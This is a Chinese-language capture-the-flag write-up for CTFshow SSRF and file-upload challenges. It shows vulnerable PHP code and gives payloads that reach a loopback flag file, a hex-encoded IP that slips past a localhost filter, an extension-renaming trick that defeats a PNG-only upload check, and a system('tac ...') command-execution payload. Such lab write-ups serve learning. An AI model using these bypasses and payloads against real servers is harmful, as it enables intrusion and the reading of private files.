CTFshow-SSRF&文件上传

web351

复制代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

构造POST

url=http://127.0.0.1/flag.php

web352

复制代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

代码分析

复制代码

error_reporting(0); 这一行关闭了所有PHP错误报告，这在生产环境中可能是为了保持用户体验的干净，但在开发过程中关闭错误报告不是一个好习惯，因为它会使调试更加困难。
highlight_file(__FILE__); 这行代码的作用是显示当前文件的源代码。当这个PHP脚本被执行时，它会高亮显示自身的代码。这通常用于学习或展示代码的目的，但它也可能无意中暴露了源代码，带来安全隐患。
$url = $_POST['url']; 这行代码从POST请求中获取名为url的参数值，将其赋值给变量$url。
$x = parse_url($url); 使用parse_url()函数解析$url，并返回一个关联数组，其中包含了URL的不同部分（如方案、主机名等）。
if($x['scheme'] === 'http' || $x['scheme'] === 'https') { ... } else { die('hacker'); } 这段条件语句检查解析后的URL是否使用的是HTTP或HTTPS协议。如果不是这两种协议之一，则程序终止执行，并输出'hacker'，这可能是为了阻止尝试利用其他协议进行的攻击。
在检查协议之后，代码进一步检查URL中是否包含localhost或127.0.0（通常代表本地回环地址）。这是通过preg_match()函数完成的。如果匹配成功（即URL试图访问本地资源），则程序也会终止执行并输出'hacker'。
如果上述两个检查都通过了，代码将继续执行。它使用cURL库来发送HTTP请求到提供的URL，并通过设置选项CURLOPT_RETURNTRANSFER为1来确保响应体被作为字符串返回而不是直接输出。然后，通过curl_exec()执行请求，并将结果存储在变量$result中。
最后，echo ($result); 输出从远程服务器接收到的内容。

同上

web353

复制代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

用16进制绕过

POST

url=http://0x7f.0.0.1/flag.php

web151

只能上传png格式的图片

bp改个后缀名

命令执行

1=system("tac /var/www/html/flag.php");

1=system("tac /var/www/html/flag.php");